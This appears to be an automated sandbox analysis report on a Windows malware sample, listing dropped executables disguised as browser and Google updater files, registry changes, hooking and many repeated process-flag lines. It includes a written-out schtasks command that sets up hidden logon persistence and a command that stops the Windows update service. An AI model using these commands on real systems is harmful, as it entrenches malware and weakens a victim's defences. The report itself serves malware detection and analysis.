Source: updater.exe.6.dr	Static PE information: section name: .xdata
Source: 33C5.tmp.6.dr	Static PE information: section name: _RDATA

Source: brave.exe.2.dr	Static PE information: real checksum: 0x2ce193 should be: 0x2c34ee
Source: updater.exe.6.dr	Static PE information: real checksum: 0x2ce193 should be: 0x2c34ef
Source: 33C5.tmp.6.dr	Static PE information: real checksum: 0x0 should be: 0x5841e
Source: ofg.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x1938e

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Creates files in the system32 config directory

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\AppData\Local\Google\chrome.exe

Executable created and started: C:\Windows\GoogleUpdate.exe

Source: C:\Users\user\AppData\Local\Google\brave.exe	File created: C:\Program Files\Google\Chrome\updater.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Google\brave.exe	File created: C:\Users\user\AppData\Local\Temp\33C5.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Users\user\AppData\Local\Google\brave.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Google\chrome.exe	File created: C:\Windows\GoogleUpdate.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Users\user\AppData\Local\Google\chrome.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Users\user\AppData\Local\Google\ofg.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Google\chrome.exe

File created: C:\Windows\GoogleUpdate.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Google\ofg.exe

Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST

Source: C:\Windows\System32\dialer.exe

File created: C:\Windows\Tasks\dialersvc32.job

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Windows\GoogleUpdate.exe	Memory written: PID: 4764 base: DE0005 value: E9 FB 99 F8 76
Source: C:\Windows\GoogleUpdate.exe	Memory written: PID: 4764 base: 77D69A00 value: E9 0A 66 07 89

Found hidden mapped module (file has been removed from disk)

Source: C:\Users\user\AppData\Local\Google\brave.exe

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\33C5.TMP

Source: C:\Windows\System32\dialer.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node dialerstager

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
